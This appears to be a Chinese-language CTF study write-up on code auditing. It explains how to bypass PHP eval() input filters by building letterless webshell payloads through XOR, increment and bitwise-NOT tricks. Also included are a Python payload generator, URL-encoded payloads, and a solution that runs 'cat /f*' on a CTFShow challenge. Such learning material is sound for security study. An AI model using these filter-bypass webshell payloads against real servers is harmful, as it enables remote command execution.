FLAG:那天晚上和你聊了很久,手机烫的和心脏一样
专研方向: 代码审计,Crypto
每日emo:天一亮,时间就不属于我了
今天写了几道代码审计的题,发现我是个菜鸟,所以借鉴各位师傅的文章,做一个总结。
提示:以下是本篇文章正文内容,下面案例可供参考
以 “A” 和 “?” 进行异或操作
<?php
echo 'A'^'?';
结果为
~
计算的过程如下:
首先将A和?分别转换为对应的ASCII码
A变为65,?变为63
然后将其转换为对应的二进制数
A变为1000001,1变为111111
接下来就进行运算,异或的运算规则是:相同为0,不同为1
A: 1000001
1: 0111111(少一位,前面补0即可)
结果: 1111110
示例:
注意:" . "作用:把两个字符串连接起来
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
合并起来:
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);
再进行一次URL编码、,得最终payload
这种方式如果自己去慢慢找的话,过程是极为缓慢的,想到我们异或一次不仅能构造出一个字符,也可以一次构造出多个字符,通过一次异或运算得到我们想构造的字符串,比如system,那这里的话我们大体思路的话就有了
第一步:寻找未被过滤的字符
第二步:写入我们想构造的字符串,然后对它进行一个遍历,先获取第一个字符
第三步:用刚刚找到的未被过滤的字符进行一个遍历,看哪两个能够通过异或运算构造出第一个字符,同理得到后面的
第四步:输出时将字符进行一个URL编码,因为涉及到了部分不可见字符
import re
import requests
import urllib
from sys import *
import os
a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围
c=chr(i)
#将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i,这些就是未被系统过滤掉的字符
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="dir" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]^a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
代码如下(示例):
<?php
$_=[];//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
var_dump($_);
然后看我们这里的代码的话,是eval(code),所以就可以构造这种的_GET[1](
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
接下来就可以尝试去给_和__GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
编码后
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
这个的话我们这里其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的。
这里的话利用一个php脚本即可获取我们想要的字符
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
(~system)%20(~dir);
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['code'])) {
$code = $_POST['code'];
if (strlen($code) <= 105){
if (is_string($code)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
eval($code);
} else {
echo "Hacked!";
}
} else {
echo "You need to pass in a string";
}
} else {
echo "long?";
}
}
构造pyload,拿到flag
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*
参考师傅文章CTFShow